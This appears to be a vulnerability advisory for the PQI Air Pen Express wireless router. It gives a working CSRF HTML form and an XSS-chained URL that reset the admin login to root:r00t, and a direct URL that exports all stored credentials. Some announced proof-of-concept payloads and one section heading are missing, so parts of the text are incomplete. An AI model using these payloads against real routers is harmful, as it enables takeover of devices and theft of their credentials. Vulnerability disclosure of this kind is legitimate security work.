background
=========
The smart lipstick-shaped PQI Air Pen express is the world's smallest
wireless router/access point combo you can get today.
PQI Air Pen express can be powered via an external adapter or a powered USB
port on your computer and provide a excellent wireless expreience for
everyone.


I. Cross-Site Request Forgery (CSRF) (CWE-352)
```````````````````````````````````````````````````````````````````````
If a user visits a page bellow, this will set the administrative credential
for PQI Air Pen express to "root:r00t"

<html>
<!-- CSRF PoC -->
<body>
<form action="http://{airpenXweb}/goform/setSysAdm" method="POST">
<input type="hidden" name="admuser" value="root" />
<input type="hidden" name="admpass" value="r00t" />
<input type="submit" value="Submit form" />
</form>
</body>
</html>


The attacker can also abuse of the multiple XSS in this device to exploit
this vulnerability, something like this to set the same cred 'root:r00t'

http://
{airpenXweb}/goform/setWizard?connectionType=DHCP&ssid=%3Cscript%20src=%22
http://airpenXweb/goform/setSysAdm?admuser=root&admpass=r00t%22%3E%3C/script%3E%3C!--


The following poc will set the credential to access point to "3groot:3g00t"
(and of course, any other value could be set in this way.)

"Webs URL Filter Settings"

Request in this page will show a pop-up with a content of javascript
payload:

# Parameter: "addHostFilter"

III. Reflected Cross-Site Scripting (CWE-79)
``````````````````````````````````````````````````````````````
Virtually all application inputs are vulnerable to cross-site scripting,
since it is not carried out any validation of the data provided by the
user.
Bellow are some examples:


"Basic Wireless Settings"

IV. Insecure Direct Request
````````````````````````````````````````
This device allows remote attackers to obtain sensitive information,
including all credentials available via direct request to
/cgi-bin/ExportSettings.sh.

PoC:
http://{airpenXweb}/cgi-bin/ExportSettings.sh

V. Insecure Default Permissions (CWE-276)
``````````````````````````````````````````````````````````````
In the device description (on the Vendor's site) it is very clear that the
priority is to
facilitate everything for you, including setting. Therefore it is not
mandatory that a password
is configured for the web interface and not to connect to the AP, this way
you can find hundreds
of these completely unprotected APs.

VI. No SSL
``````````````````
Any action, whether sensitive or not is transmitted in plain text because
HTTPS is not used and no step.
